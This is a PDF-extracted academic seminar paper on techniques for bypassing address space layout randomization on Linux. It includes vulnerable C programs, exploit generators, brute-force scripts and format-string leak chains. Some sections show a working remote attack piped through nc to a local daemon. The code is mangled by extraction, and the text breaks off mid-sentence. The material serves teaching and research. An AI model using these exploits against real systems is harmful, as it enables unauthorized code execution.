ASLR Smack & Laugh Reference Seminar on Advanced Exploitation Techniques Tilo M¨ uller RWTH Aachen, Germany Chair of Computer Science 4 February 17, 2008 Address space layout randomization (ASLR) is a security technology to prevent exploitations of buffer overflows. But this technology is far from perfect. ?[...] its only up to the creativity of the attacker what he does. So it raises the bar for us all :) but just might make writing exploits an interesting business again.? ([Dul00] about ASLR). This paper is an introduction and a reference about this business. Keywords: ASLR, Address Space Layout Random- ization, Exploitation 1 Introduction Address space layout randomization makes it more dif- ficult to exploit existing vulnerabilities, instead of in- creasing security by removing them. Thus ASLR is not a replacement for insecure code, but it can offer protec- tion from vulnerabilities that have not been fixed and even not been published yet. The aim of ASLR is to introduce randomness into the address space of a pro- cess. This lets a lot of common exploits fail by crashing the process with a high probability instead of executing malicious code. There are a lot of other prophylactic security tech- nologies besides ASLR, like StackGuard, StackShield or Libsafe. But only ASLR is implemented and en- abled by default into important operating systems. ASLR is implemented in Linux since kernel 2.6.12, which has been published in June 2005. Microsoft implemented ASLR in Windows Vista Beta 2, which has been published in June 2006. The final Win- dows Vista release has ASLR enabled by default, too - although only for executables which are specifically linked to be ASLR enabled. Further operating systems like OpenBSD enabled ASLR as well. So it is essential for an attacker to deal with ASLR nowadays. Originally ASLR was part of the Page EXec (PaX) project - a comprehensive security patch for the Linux kernel. PaX has already been available in 2000 - years before kernel 2.6.12. There have also been third party implementations of ASLR for previous versions of Windows. So the idea and even the implementation of address space randomization is not as new as it may appear. Nevertheless and unlike common exploitation tech- niques there are barely useful informations about ad- vanced techniques to bypass the protection of ASLR. This paper tries to bring together some of the scarce informations out there. First, I briefly want to show how ASLR works and why a lot of common exploitation techniques fail in its presence. Afterwards I demonstrate mechanisms to by- pass the protection of ASLR. The vulnerabilities and their exploits are getting more difficult in the course of this paper. First I describe two aggressive aproaches: Brute force and denial of service. Then I explain how to return into non-randomized memory areas, how to bypass ASLR by redirecting pointers and how to get a system to divulge critical stack information. After this I explain some advanced techniques like the stack jug- gling methods, GOT hijacking, off by ones and over- writing the .dtors section before I come to a conclu- sion. What I show is that systems with ASLR enabled are still highly vulnerable against memory manipula- tion attacks. Some of the exploitation techniques de- scribed in this paper are also useful to bypass another popular security technology: The nonexecutable stack. This paper is assisted by proof of concept codes, which are based on a Debian Etch installation without any additional security patches. It is a x86 system with 1 kernel 2.6.23, glibc 2.6.1 and gcc 4.2.3. To minimize these samples, a exemplary shellcode can be found in the appendix and outputs are shortened. Before you go on, I want to aver, that it is recom- mended to have basic knowledge in buffer overflows and format string vulnerabilities. You may want to read [One96] and [Scu01] first. [cor05], [Whi07], [PaX03], [Kle04] 2 The functioning of ASLR How does address space layout randomization work? Common exploitation techniques overwrite return ad- dresses by hard coded pointers to malicious code. With ASLR the predictability of memory addresses is re- duced by randomizing the address space layout for each instantiation of a program. So the job of ASLR is to prevent exploits by moving process entry points to ran- dom locations, because this decreases the probability that an individual exploit will succeed. unsigned long getEBP ( void ) { asm ( ?movl %ebp ,%eax ? ) ; } i n t main ( void ) { p r i n t f ( ?EBP:%x ? , getEBP ( ) ) ; } Figure 1: getEBP.c Consider the little C programm getEBP for instance (see figure 1). The contents of the EBP register should be compared on the basis of this code - with and with- out ASLR. The EBP register is a pointer to the stack and so it contains a stack address. We are interested in the value of such stack addresses, because they are ran- domized by ASLR. Alternatively one could compare the content of the ESP register or any other pointer to a stack address. Not only the content of the EBP register is randomized but also the remaining stack addresses. ASLR can be disabled at boottime passing the norandmaps parameter or at runtime via echo 0 > /proc/sys/kernel/randomize_va_space. Executing getEBP twice while ASLR is disabled results in: > ./getEBP EBP:bffff3b8 > ./getEBP EBP:bffff3b8 The output probably looks like you have expected it: The EBP register points to the same address location on every instantiation of getEBP. But enabling ASLR results in e.g.: > ./getEBP EBP:bfaa2e58 > ./getEBP EBP:bf9114c8 This is the result of ASLR: The EBP register points to a randomized address; 24 bits of the 32-bit address are randomized. The example illustrates that ASLR prevents attackers from using exploits with hard coded return addresses. This kind of exploits have been the most common ones for years. With ASLR manipulating an instruction pointer would most likely crash the vulnerable task by a segmentation fault in, because it is impossible to give a precise predication of a certain address, especially a return address. A ret2libc attack (cf. [c0n06a]) would also crash the process, since libraries are randomized as well (see figure 2). Such a crash allows denial of ser- vice attacks on the one hand, but an easy detection of failed exploitation attempts on the other hand. There- fore it is wise to use a crash detection and reaction sys- tem together with ASLR. A simple denial of service attack is often not the target of the attacker. c a t / proc / s e l f / maps | egrep ? ( l i b c | heap | s t a c k ) ? 0804d000 ?0806e000 [ heap ] b7de4000?b7f26000 / l i b / i686 / cmov / l i b c ?2.6.1. so b7f26000?b7f27000 / l i b / i686 / cmov / l i b c ?2.6.1. so b7f27000?b7f29000 / l i b / i686 / cmov / l i b c ?2.6.1. so bf873000?bf888000 [ s t a c k ] c a t / proc / s e l f / maps | egrep ? ( l i b c | heap | s t a c k ) ? 0804d000 ?0806e000 [ heap ] b7dde000?b7f20000 / l i b / i686 / cmov / l i b c ?2.6.1. so b7f20000?b7f21000 / l i b / i686 / cmov / l i b c ?2.6.1. so b7f21000?b7f23000 / l i b / i686 / cmov / l i b c ?2.6.1. so bf9b3000?bf9c8000 [ s t a c k ] Figure 2: /proc/self/maps Furthermore figure 2 points out that the stack and the libraries are randomized, but not the heap. The text, data and bss area of the process memory are not being randomized as well. This behavior does not accord to the original functionality which was pro- vided by the PaX project. The original ASLR of the PaX project contained RANDEXEC, RANDMMAP, RANDUSTACK and RANDKSTACK. According to the documentation of the PaX project (cf. [PaX03]) the job of these component is to randomize the following: 2 RANDEXEC/RANDMMAP - code/data/bss segments RANDEXEC/RANDMMAP - heap RANDMMAP - libraries, heap thread stacks shared memory RANDUSTACK - user stack RANDKSTACK - kernel stack It seems that not all of these components are fully im- plemented to the current linux kernel. This fact takes us to the one class of ASLR resistant exploits: Return into non-randomized areas. But there are several ways for an attacker to deal with the ignorance of the address space layout. We will discuss them in the following sections beginning with aggressive approaches. [PaX03], [Sha04], [Kle04] 3 Aggression 3.1 Brute force ASLR increases the consumption of the system?s en- tropy pool since every task creation requires some bits of randomness (cf. [PaX03]). Among others the se- curity is based on how predictable the random address space layout of a program is. There are a lot of very detailed expositions about this topic. [Whi07] for instance, comes to the following result regarding Windows: The protection offered by ASLR under Windows Vista may not be as robust as expected. The success of pure brute force is heavily based on how tolerant an exploit is to variations in the address space layout, e.g. how many NOPs can be placed in the buffer. Furthermore it is based on how many exploita- tion attempts an attacker can perform and how fast he can perform them. It is necessary that a task can be restartet after a crash. But this is not as improbably as it sounds, because a lot network servers restart their ser- vices upon crashing. [Sha04] for instance, shows how to compromise an Apache web server by brute force over network. In chapter 2 I have mentioned that only 24 bits are randomized on a 32-bit architecture. But on a 64-bit architecture there are more bits to randomize. Since every bit doubles the number of possible stack lay- outs, most of the working brute force exploits for a x86 architecture will not succeed on a x64 machine. Ac- cording to [Sha04] the most promising solution against brute force is to upgrade to a 64-bit architecture. void f u n c t i o n ( char ? args ) { char buff [ 4 0 9 6 ] ; s t r c p y ( buff , args ) ; } i n t main ( i n t argc , char? argv [ ] ) { f u n c t i o n ( argv [ 1 ] ) ; return 0; } Figure 3: bruteforce.c Consider the C programm bruteforce for in- stance (see figure 3). This code contains a classic strcpy vulnerability (cf. [One96]). There is a buffer of 4096 bytes we want to use for placing malicious code and some NOPs (- it would even be possible to place more code and NOPs above this buffer for sure). Without ASLR it would be an ease to determine the ap- proximate return address using gdb, to manipulate the RIP register by a buffer overflow and to run the shell- code. But under ASLR it makes no sense to determine any stack address and it is necessary to guess one. The chance is about one to 224 /4096 = 4096 to hit a work- ing return address, so an exploit requires 2048 attempts on the average. You can find an exploit for bruteforce in figure 4 and 5. It takes about five minutes on a 1.5 GHz CPU to get the exploit working. Finally a shell opens up: > ./ ./ line 9: Segfault [...] ./ line 9: Segfault sh-3.1$ echo yipieh! yipieh! 3.2 Denial of service There are two possibilities: One approach is to induce a denial of service by simply overflowing a buffer. The success of such a denial of service attack is indepen- dent of the protection that is given by ASLR. By now it should be clear how to use buffer overflows for such a simple attack. For a proof of concept you can draw on figure 3: Pass a 6000 byte parameter of nonsense and the program will crash with a segmentation fault, be- cause the return address is overwritten with an invalid value. Furthermore it is possible to use format string vulnerabilities to cause a denial of service. This approach is even independent of the protection of 3 # define NOP 0x90 i n t main ( i n t argc , char? argv [ ] ) { char ? buff , ? p t r ; long ? a d r p t r , adr ; i n t i ; i n t bgr = a t o i ( argv [ 1 ] ) + 8 ; i n t o f f s e t = a t o i ( argv [ 2 ] ) ; buff = malloc ( bgr ) ; adr = 0 xbf010101 + o f f s e t ; for ( i =0; i<bgr ; i ++) buff [ i ] = NOP; p t r = buff +bgr ?8; a d r p t r = ( long ?) p t r ; for ( i =0; i <8; i +=4) ?( a d r p t r ++) = adr ; p t r = buff +bgr?8?s t r l e n ( s h e l l c o d e ) ; for ( i =0; i<s t r l e n ( s h e l l c o d e ) ; i ++) ?( p t r ++) = s h e l l c o d e [ i ] ; buff [ bgr ] = ?\0 ? ; puts ( buff ) ; return 0; } Figure 4: bfexploit.c # ! / bin / sh while [ 0 ] ; do . / b r u t e f o r c e ? . / b f e x p l o i t 4096 $i ? i =$ ( ( $i + 2048)) i f [ $i ?gt 16777216 ] ; then i =0 f i done ; Figure 5: ASLR. Format string vulnerabilities occur when a lazy programmer types printf(str) instead of printf("%s",str). More often than not the out- put is the same and so the mistake keeps a low profile. Since the real format string is missing the str param- eter is interpreted as format string instead. This pro- vides a security leak if an attacker has influence to the content of str. E.g. passing the format instruction %x several times affords the possibility to readout the stack contents, because printf still assumes that the stack contains the correct number of arguments. printf just reads the stack contents following on the format string pointer, even if these contents were not designed to be an argument. Details about format string vulner- abilities can be found in [Scu01]. A process would crash if the printf function inter- prets an argument as string pointer, though this memory location cannot be used as a pointer, because it points to unaccessible memory. So passing a format string that contains the format instruction %s can cause a segmen- tation fault. Consider the little C program listed in figure 6. It contains a single vulnerable printf call. i n t main ( i n t argc , char ?? argv ) { p r i n t f ( argv [ 1 ] ) ; } Figure 6: formatStringDos.c Small numbers like 0, 1 or 2 are examples for invalid pointers. Each attempt to resolve them ends in a seg- mentation fault. So a denial of service can be caused by letting the format instruction %s try to resolve such an invalid pointer. Using gdb shows where printf ex- pects its parameters and where to find small numbers: (gdb) run %x_%x_%x_%x_%x_%x_%x_%x Breakpoint 1 (gdb) x/9x $esp 0xb7f8eb70 0xbf900190 0xbf9001e8 0xb7e39050 0xb7f9cce0 0x080483b0 0xbf9001e8 0xb7e39050 0x00000002 (gdb) continue bf900190_bf9001e8_b7e39050_b7f9cce0 _80483b0_bf9001e8_b7e39050_2 Thus interpreting the eighth argument as string pointer would end in a segmentation fault, because this location contains 2, what is not a valid pointer: ./formatStringDos %8\$s Segmentation fault 4 Return into non-randomized memory In chapter 2 you have seen, that the stack is randomized by ASLR. But there are still some areas of the address space, that are not randomized: The heap, the bss, the data and the text segment. As a reminder I want to list the differences between these areas (corresponding to [Kle04]): ? Stack: parameters and dynamic local variables ? Heap: dynamically created data structures (mal- loc) ? BSS: uninitialized global and uninitialized static local variables 4 ? Data: initialized global and initialized static local variables ? Text: readonly program code 4.1 ret2text The text region is marked readonly and any attempt to write to it will result in a segmentation violation. Therefore it is not possible to place shellcode in this area. Though it is possible to manipulate the program flow: Overwriting the return address with another rea- sonable pointer to the text area affords jumping inside the original code. This kind of exploitation is interesting for code seg- ments which cannot be reached in normal program flows. Consider the C program ret2text (see figure 7). This program contains a classic strcpy vulnera- bility and a code segment that only root can execute. void p u b l i c ( char? args ) { char buff [ 1 2 ] ; s t r c p y ( buff , args ) ; p r i n t f ( ? p u b l i c ? ) ; } void s e c r e t ( void ) { p r i n t f ( ? s e c r e t ? ) ; } i n t main ( i n t argc , char? argv [ ] ) { i f ( g e t u i d ( ) == 0) s e c r e t ( ) ; e l s e p u b l i c ( argv [ 1 ] ) ; } Figure 7: ret2text.c Jumping into secret needs the address of this function which can be determined by gdb as follows: (gdb) print secret 1 = {void (void)} 0x80483fa <secret> Overflowing the buffer with this address provides a working exploit: > ./ret2text \ > ?perl -e ?print "A"x16; \ > print "\xfa\x83\x04\x08"?? public secret Segmentation fault The segmentation fault does not matter in most cases, since the secret code has already been executed. If a program does not contain secret code, which is interesting to execute, an attacker can try to chain up chunks of existing code to a useful shellcode. This borrowed code technique is described in [Kra05] using code fragments of libc to bypass a nonexecutable stack. Under ASLR an attacker cannot use code fragments of libc, since libraries are randomized. But what is still imaginable is to use code fragments of the vulnerable program itself. The possibilities to create useful shell- codes rise with the size of the program. The code fragments which can be used for this inten- tion are continuous assembler chunks up to a return in- struction. The return instructions chain the code chunks together. This works as follows: A buffer overflow has to be used to overwrite the return address by the start address of the first code chunk. This code chunk will be executed till the program flow reaches its closing return instruction. After that the next return address is read from the stack, which is ideally the start address of the second code chunk. So the start address of the second code chunk has to be placed right above the start ad- dress of the first code chunk. The second chunk is also executed till its closing return instruction is reached. Then the start address of the third chunk is read from the stack and so on. 4.2 ret2bss The bss area contains all uninitialized global and unini- tialized static local variables. It is writable and there- fore global variables are potential locations for placing malicious code. Furthermore this area is not random- ized by ASLR and it is feasible to determine fixed ad- dresses. That sounds great, but there is one problem: A clas- sic stack overflow is still necessary, because the return addresses are saved on the stack - not in the bss area. Hence two inputs are needed: One to overflow a buffer and one to infiltrate the bss area with shellcode. char g l o b a l b u f [ 2 5 6 ] ; void f u n c t i o n ( char? i n p u t ) { char l o c a l b u f [ 2 5 6 ] ; s t r c p y ( l o c a l b u f , i n p u t ) ; s t r c p y ( globalbuf , l o c a l b u f ) ; } i n t main ( i n t argc , char?? argv ) { f u n c t i o n ( argv [ 1 ] ) ; } Figure 8: ret2bss.c It is possible to avoid two inputs if there is one input which is stored on the stack and the bss area. Consider 5 the C program ret2bss (see figure 8). The input is stored in localbuf, which let an attacker overflow the buffer, and it is stored in globalbuf, which let an attacker place his shellcode. The address of the infiltrated code can be determined by using gdb as follows: (gdb) print &globalbuf 2 = (char (*)[256]) 0x80495e0 A possibe exploit can be found in figure 9. Passing the output of this exploit into the input of ret2bss opens up a shell: > ./ret2bss ?./ret2bssexploit? sh-3.1$ echo ay caramba! ay caramba! sh-3.1$ i n t main ( void ) { char ? buff , ? p t r ; long ? a d r p t r ; i n t i ; buff = malloc ( 2 6 4 ) ; p t r = buff ; for ( i =0; i <264; i ++) ?( p t r ++) = ?A? ; p t r = buff +264?8; a d r p t r = ( long ?) p t r ; for ( i =0; i <8; i +=4) ?( a d r p t r ++) = 0x080495e0 ; p t r = buff ; for ( i =0; i<s t r l e n ( s h e l l c o d e ) ; i ++) ?( p t r ++) = s h e l l c o d e [ i ] ; buff [264] = ?\x00 ? ; p r i n t f ( ?%s ? , buff ) ; } Figure 9: ret2bssexploit.c 4.3 ret2data The data area contains all initialized global and initial- ized static local variables. Thus, the only difference to the bss area is that the variables are initialized here. A return into the data area is possible analog to a return into the bss area. 4.4 ret2heap The heap contains all dynamically created data struc- tures, i.e. all variables which get their memory as- signed by malloc. Also the heap is not randomized by ASLR and a return into the heap is possible - very similar to ret2bss again. Just place the shellcode in a dynamically created data structure instead of a global variable. Further I want to mention that a return into the heap has absolutely nothing to do with a heap overflow (as known from [Con99]). A ret2heap requires the heap because of its fixed addresses - it does not change the structure of the heap. The heap overflow technique described in [Con99] does not work anymore. But this does not come from ASLR, it is because of the heap implementation has been updated. 5 Pointer redirecting This section describes how to redirect pointers that have been declared by the programmer - not how to redirect internal pointers. These pointers can be string pointers or even function pointers. 5.1 String pointers Hardcoded strings are not pushed upon the stack, but saved within non-randomized areas. Therefore it is rel- atively easy to redirect a string pointer to another string. The idea of redirecting string pointers is not to manip- ulate the output, but rather to manipulate the arguments of critical functions like system or execv. i n t main ( i n t argc , char? args [ ] ) { char i n p u t [ 2 5 6 ] ; char ? conf = ? t e s t ?f ? / . progrc ? ; char ? l i c e n s e = ?THIS SOFTWARE IS . . . ? ; p r i n t f ( l i c e n s e ) ; s t r c p y ( input , args [ 1 ] ) ; i f ( system ( conf ) ) p r i n t f ( ? Missing . progrc ? ) ; } Figure 10: strptr.c Consider the vulnerable program strptr in fig- ure 10. This program contains two hardcoded strings: conf and license. The license is just designed for output; conf is designed to be executed as shell com- mand. Assume an attacker can conf let point to the license string. What would be executed in the if state- ment is: system("THIS SOFTWARE IS... "); system tries to execute THIS and treats the re- maining string as parameters for THIS. An executable file called THIS cannot be found on a normal Unix system, but can and should be created by an attacker. 6 An attacker can write an arbitrary binary or script called THIS that will be executed with the privileges of strptr. It could contain /bin/sh for instance. Note, that this exploitation technique cannot be used remotely, since an executable file has to be created lo- cally and note that this executable file has to be acces- sible by the PATH environment. The string pointer conf can be overwritten since the program contains a strcpy vulnerability. One can use gdb to readout the address of the license string: (gdb) print license 0x8048562 "THIS SOFTWARE IS... " So the conf pointer should be redirected to 08048562hex. An exploit works as follows: > echo "/bin/sh" > THIS > chmod 777 THIS > PATH=.:$PATH > ./strptr ?perl -e ?print "A"x256;\ > print "\x62\x85\x04\x08"?? THIS SOFTWARE IS... sh-3.1$ 5.2 Function pointers Not only redirecting string pointers is useful, but also redirecting function pointers. Function pointers are widely used as virtual functions in C++. They are used to realize GUIs for instance or more critical to imple- ment SSL. void f u n c t i o n ( char? s t r ) { p r i n t f ( ?%s ? , s t r ) ; system ( ? any command? ) ; } i n t main ( i n t argc , char?? argv ) { void (? p t r ) ( char? s t r ) ; p t r = &f u n c t i o n ; char buff [ 6 4 ] ; s t r c p y ( buff , argv [ 1 ] ) ; (? p t r ) ( argv [ 2 ] ) ; } Figure 11: funcptr.c Consider the example funcptr listed in figure 11. The program reads two user inputs. During a normal program flow ptr points to function and the last command of main leads to the output of argv[2]. But if an attacker can overflow buff in a way that ptr points to system the second user argument will be executed. An attack would utilize the first argument to exploit the strcpy vulnerability and the second one to hand over the shell command. It simplifies the challenge when system is called somewhere (here in funcptr). The address of system can be determined by using the debugger as follows: (gdb) disass function <function+24>: call 0x8048328<system> Thus ptr have to be overwritten by 08048328hex. What this address means in particular will be explained in section 9 during the explanation of GOT and PLT. Writing the exploit is straight forward and I go on with- out listing it. 6 Integer overflows ASLR does not avoid buffer overflows, it just makes them more difficult to exploit. The same holds for in- teger overflows: ASLR does not avoid them. Avoiding overflows is still in the hand of the programmer. Thus it is still profitable to look out for integer over- flows. But exploiting them has always been problem- atic - without ASLR and even more with ASLR. It can be an ease to induce a segmentation fault, but to exe- cute shellcode requires more than an integer overflow. A buffer overflow vulnerability has to arise, e.g. af- ter the size of the input could be faked up. Be content with segmentation faults in this section - how to execute your shellcode is already covered by other sections. More details about integer overflows can be found in [ble02]. 6.1 Widthness overflows A widthness overflow is the result of storing a value into a data type that is too small to hold it. E.g. the type char can save exactly one byte: Values from ?128 to +127. Larger or smaller numbers are truncated to their least siginificant byte: 256 becomes 0, 257 becomes 1 etcetera. Consider figure 12. The programmer checks the size of the user input before copying it into the buffer. This should avoid overflows usually. But he decided to use char variables to store the sizes, since buff is small enough to do so. The result of his decision is that a buffer overflow can occur anyhow: > ./widthness ?perl -e ?print "A"x256? Copy 0 byte Segmentation fault 7 i n t main ( i n t argc , char ?? argv ) { char b s i z e = 64; char buff [ b s i z e ] ; char i s i z e = s t r l e n ( argv [ 1 ] ) ; i f ( i s i z e < b s i z e ) { p r i n t f ( ?Copy %i byte ? , i s i z e , b s i z e ) ; s t r c p y ( buff , argv [ 1 ] ) ; } e l s e { p r i n t f ( ? Input out of s i z e .\ n? ) ; } } Figure 12: withness.c A buffer overflow occurs, if the user input exceeds a size of 127 bytes and the least significant byte is smaller than 64. Mind that a widthness overflow can occur not only during an assignment, but also during arithmetic oper- ations. E.g. increasing the integer ffffffffhex by one results in 0. 6.2 Signedness bugs Signedness bugs occur when an unsigned variable is interpreted as signed and vice versa. The problem is that a lot of predefined system functions like memcpy interprete the length parameter as unsigned int, whereas most programmers use int (what is equal to signed int). i n t main ( i n t argc , char ?? argv ) { char d e s t [ 1 0 2 4 ] ; char s r c [ 1 0 2 4 ] ; i n t cp = a t o i ( argv [ 1 ] ) ; i f ( cp <= 1024) memcpy ( dest , src , cp ) ; e l s e p r i n t f ( ? Input out of range .\ n? ) ; } Figure 13: signedness.c Consider figure 13. The user can determine how many bytes from src should be copied to dest. Pass- ing a huge number that overflows the four byte range of cp does not work. But passing a negative number will lead to a buffer overflow, since a negative number is al- ways smaller than 1024 and memcpy interpretes it as unsigned integer (e.g. ?1 as ffffffffhex): > ./signedness -1 Segmentation fault This type of vulnerability often occurs in network daemons, when length information is sent as part of the packet. 7 Stack divulging methods This approach of bypassing ASLR tries to discover in- formations about the random addresses. This makes sense in terms of daemons or other persistent processes, since the address space layout is only randomized by starting a process and not during its lifetime. There may be a few ways of getting this critical in- formation. I want to demonstrate two very different ways: The stack stethoscope (according to [Kot05b]) and a simple form of exploiting format string vulnera- bilities. 7.1 Stack stethoscope The address of a process stack?s bottom can be detected by reading /proc/<pid>/stat. The 28th item of the stat file is the address of the stack?s bottom. Upon this information the whole address space can be calcu- lated, due to the fact that offsets within the stack are constant. These offsets could be analyzed by gdb for one. Daemons or processes awaiting input interactively are exploitable by this technique, since an attacker has enough time to read /proc/<pid>/stat. The disadvantage of this approach is that it is abso- lutely necessary to have an access to the machine, i.e. it is a local exploit technique. The advantage of this technique is that ASLR is almost useless if one have this access, because the stat files are readable for ev- eryone by default: -r--r--r-- 1 root root 0 stat Consider the network daemon divulge (see figure 14). This daemon reads data from a client and sends it back. The strcpy vulnerability allows a buffer over- flow. To exploit this vulnerability an attacker has to detect the constant offset between the stack?s bottom and the beginning of writebuf, where the shellcode will be placed in. The offset can be determined by using gdb as follows: (gdb) list 16 sprintf(writebuf,readbuf); 17 write(connfd,writebuf,strlen(..)); (gdb) break 17 (gdb) run 8 # define SA s t r u c t sockaddr i n t l i s t e n f d , connfd ; void f u n c t i o n ( char? s t r ) { char readbuf [ 2 5 6 ] ; char w r i t e b u f [ 2 5 6 ] ; s t r c p y ( readbuf , s t r ) ; s p r i n t f ( writebuf , readbuf ) ; w r i t e ( connfd , writebuf , s t r l e n ( w r i t e b u f ) ) ; } i n t main ( i n t argc , char? argv [ ] ) { char l i n e [ 1 0 2 4 ] ; s t r u c t s o c k a d d r i n s e r v a d d r ; s s i z e t n ; l i s t e n f d = s ocke t ( AF INET ,SOCK STREAM, 0 ) ; bzero (& servaddr , s i z e o f ( s e r v a d d r ) ) ; s e r v a d d r . s i n f a m i l y = AF INET ; s e r v a d d r . s i n a d d r . s a d d r = h t o n l (INADDR ANY ) ; s e r v a d d r . s i n p o r t = htons ( 7 7 7 6 ) ; bind ( l i s t e n f d , (SA?)& servaddr , s i z e o f ( s e r v a d d r ) ) ; l i s t e n ( l i s t e n f d , 1024); for ( ; ; ) { connfd= ac ce pt ( l i s t e n f d , ( SA?)NULL,NULL) ; w r i t e ( connfd , ?> ? , 2 ) ; n = read ( connfd , l i n e , s i z e o f ( l i n e ) ?1); l i n e [ n ] = 0; f u n c t i o n ( l i n e ) ; c l o s e ( connfd ) ; } } Figure 14: divulge.c Breakpoint 1 at divulge.c:17 (gdb) print &writebuf (char (*)[256]) 0xbfe14858 After setting the breakpoint and running divulge a connection to the server has to be established: echo AAAAA | nc localhost 7776. So the address of writebuf is bfe14858hex. But the address of the stack?s bottom is still needed to cal- culate the offset. It can be detected by: > cat /proc/?pidof divulge?/stat\ > | awk ?{ print $28 }? 3219214128$ So the base address of the stack is 3219214128dec = bfe14f30hex. Now the offset can be calculated: bfe14f30hex ? bfe14858hex = 6d8hex = 1752dec. You can find an exploit using this constant offset in figure 15. The exploit expects the address of the stack?s bottom as a parameter. If you start the exploit as seen below a shellcode will be executed server-sided: > ./divexploit ?cat /proc/ \ i n t main ( i n t argc , char?? argv ) { char ? buff , ? p t r ; long ? a d r p t r ; i n t i ; unsigned long s t a c k p o i n t e r = s t r t o u l ( argv [ 1 ] ,NULL,10) ?1752; buff = malloc ( 2 6 5 ) ; p t r = buff ; a d r p t r = ( long ?) p t r ; for ( i =0; i <264; i +=4) ?( a d r p t r ++) = s t a c k p o i n t e r ; p t r = buff ; for ( i =0; i<s t r l e n ( s h e l l c o d e ) ; i ++) ?( p t r ++) = s h e l l c o d e [ i ] ; buff [264] = ?\0 ? ; p r i n t f ( ?%s ? , buff ) ; } Figure 15: divexploit.c > $(pidof divulge)/stat \ > | awk ?{ print $28}?? \ > | nc localhost 7776 7.2 Formatted information As shown in section 3 format string vulnerabilities can cause a denial of service. Section 11 will show that for- mat string vulnerabilities even can be used to execute shellcode. But under ASLR it also makes sense to bring such a vulnerability to the state that it divulges informa- tions about the address space. An attacker could pass a format string, e.g. "%x%x%x", that let the printf command divulge these informations. You will see that these informations - in conjunction with buffer over- flows - can be used to run shellcode as well. Consider the network daemon divulge again. It does not only contain a strcpy vulnerability, but also a sprintf vulnerability. In the last subsection you have seen how to exploit divulge locally. With the format string vulnerability it is even possible to exploit divulge remotely. The idea is to connect divulge twice: First to receive critical information about the stack adresses by exploiting the format string vulner- ability and second to send an injection vector. If you are familiar with format strings you know that the string %m$x will print the m ? th parameter above the format string - even if this location has not been designed to be a parameter. So an attacker can readout the whole stack above the formatstring. Usually there are pointers on the stack that point to other stack locations, e.g. a saved frame pointer. Such a pointer itself is not constant due to ASLR, but the difference between the pointer and the beginning of 9 the stack is. So it is possible to recalculate the bot- tom of the stack after the difference has been calcu- lated once. Therefore it is not necessary to read the /proc/<pid>/stat file again and again and re- mote exploitation becomes possible. The first useful pointer in the divulge daemon can be found at the 20th position above the format string. This can be determined using gdb or just by several tries. > echo "%20\$x" | \ > nc localhost 7776 > bfb16640 A comparison with the beginning of the stack provides the constant difference to this pointer: bfb16c90hex ? bfb16640hex = 650hex = 1616dec. The exploit in figure 15 awaits the address of the stack?s bottom as parameter and can be reused here. So an attack works as follows: First it connects to divulge to receive the pointer, afterwards it com- putes the beginning of the stack and finally it connects again to send the malicious string, which can be cal- culated on exactly the same way like before. So an automated attack looks as follows: PHEX=$(echo "%20\$x" \ |nc localhost 7776 \ |awk ?{print toupper($2)}?) PDEC=$(echo -e \ "ibase=16;$PHEX" | bc) STACK=$(($PDEC + 1616)) ./divexploit $STACK \ | nc localhost 7776 8 Stack juggling methods This section grabs the creative ideas of Izik Kotler to bypass ASLR. He calls them ?stack juggling meth- ods?. These juggling methods base on ?a certain stack layout, a certain program flow or certain regis- ter changes. Due to the nature of these factors, they might not fit to every situation.? (cf. [Kot05b]) 8.1 ret2ret The problem with ASLR is that it is useless to over- write the return address with a fixed address. The idea of ret2ret is to return to an already existing pointer that points into the shellcode. Already existing pointers must contain valid stack addresses to work. These valid stack addresses are potential pointers to the shellcode. The attacker does not know anything about the stack addresses, but that does not matter, because he over- writes the instruction pointer by the content of such a potential shellcode pointer. Figure 16: ret2ret illustration That sounds easy in theory. But there is a big prac- tical problem: How to use such a pointer as return ad- dress? Till now the only way to manipulate the program flow was to overwrite the return instruction pointer di- rectly. But it is not possible to copy something, e.g. the potential shellcode pointer, to this location. There- fore another way is used to get the potential shellcode pointer into the EIP register: return to return to return to ... to the pointer (see figure 16). That means it is possible to move hand over hand straight to the shellcode pointer using several ret commands. To understand the chain of returns you have to recall what a return does: A return means pop eip, i.e. the content of the location where the ESP points to is written to the EIP. Usually this con- tent is the RIP, when ret is called. Furthermore the ESP jumps one location upwards (the stack shrinks). Imagine the RIP location contains a pointer to a ret command itself, and the location above as well and so on. This would end in a chain of returns: ret2ret. Remember that the addresses of the code segment are not randomized. A ret command can be found in the code segment of every program. So it is no prob- lem to fill the stack with reliable pointers to return com- mands. The return chain should end right before the po- tential shellcode pointer, which would be called by the last ret. So the number of returns is variable, based on the offset from the return instruction pointer to the potential shellcode pointer. 10 The potential shellcode pointer must be placed above (that means before) the first RIP, i.e. the pointer has to be older than the vulnerable buffer. But where to find pointers to newer stack frames? Every string and there- fore most buffer overflows have to be terminated by a zero byte. Thus the least significant byte of the poten- tial shellcode pointer can be overwritten with a zero. Due to this zero byte the pointer may be smaller than before and from there on it points to newer stack con- tents - where the shellcode is placed (see figure 16). This byte alignment only works on a little endian sys- tem and a downwards growing stack. Who wants to try this on Sun SPARC? ;-) (cf. [Kot05a]). void f u n c t i o n ( char? s t r ) { char b u f f e r [ 2 5 6 ] ; s t r c p y ( buffer , s t r ) ; } i n t main ( i n t argc , char?? argv ) { i n t no = 1; i n t ? p t r = &no ; f u n c t i o n ( argv [ 1 ] ) ; } Figure 17: ret2ret.c As an example behold figure 17. This C program comes with a strcpy vulnerability and the potential pointer ptr. What is needed for an exploit is the ad- dress of a return command. It can be determined by using gdb as follows: (gdb) disass main 0x080483d4 <main +0>: lea ... ... 0x0804840f <main+59>: ret So a possible address to a ret command is 0804840fhex. Another possible address can be find out by disass function. Everything else, like how many ret commands have to placed before the pointer, can be determined by gdb as well. I think I do not have to mention all this issues in detail. But I want to point out, that such an exploit should contain as much NOP instructions (0x90) as possible to increase the chance of the potential pointer to hit the shellcode. You can find an (often) working exploit for ret2ret in figure 18. Just pass the output of the ex- ploit to the input of ret2ret: > ./ret2ret ?./ret2retExploit? sh-3.1$ i n t main ( void ) { char ? buff , ? p t r ; long ? a d r p t r ; i n t i ; buff = malloc ( 2 8 0 ) ; p t r = buff ; a d r p t r = ( long ?) p t r ; for ( i =0; i <280; i +=4) ?( a d r p t r ++) = 0 x0804840f ; for ( i =0; i <260; i ++) buff [ i ] = 0x90 ; p t r = buff + (260? s t r l e n ( s h e l l c o d e ) ) ; for ( i =0; i<s t r l e n ( s h e l l c o d e ) ; i ++) ?( p t r ++) = s h e l l c o d e [ i ] ; buff [280] = ?\0 ? ; p r i n t f ( ?%s ? , buff ) ; } Figure 18: ret2retExploit.c I said it works ?often?, because the address space is randomized by every instantiation and so there will be always a remaining risk, that the 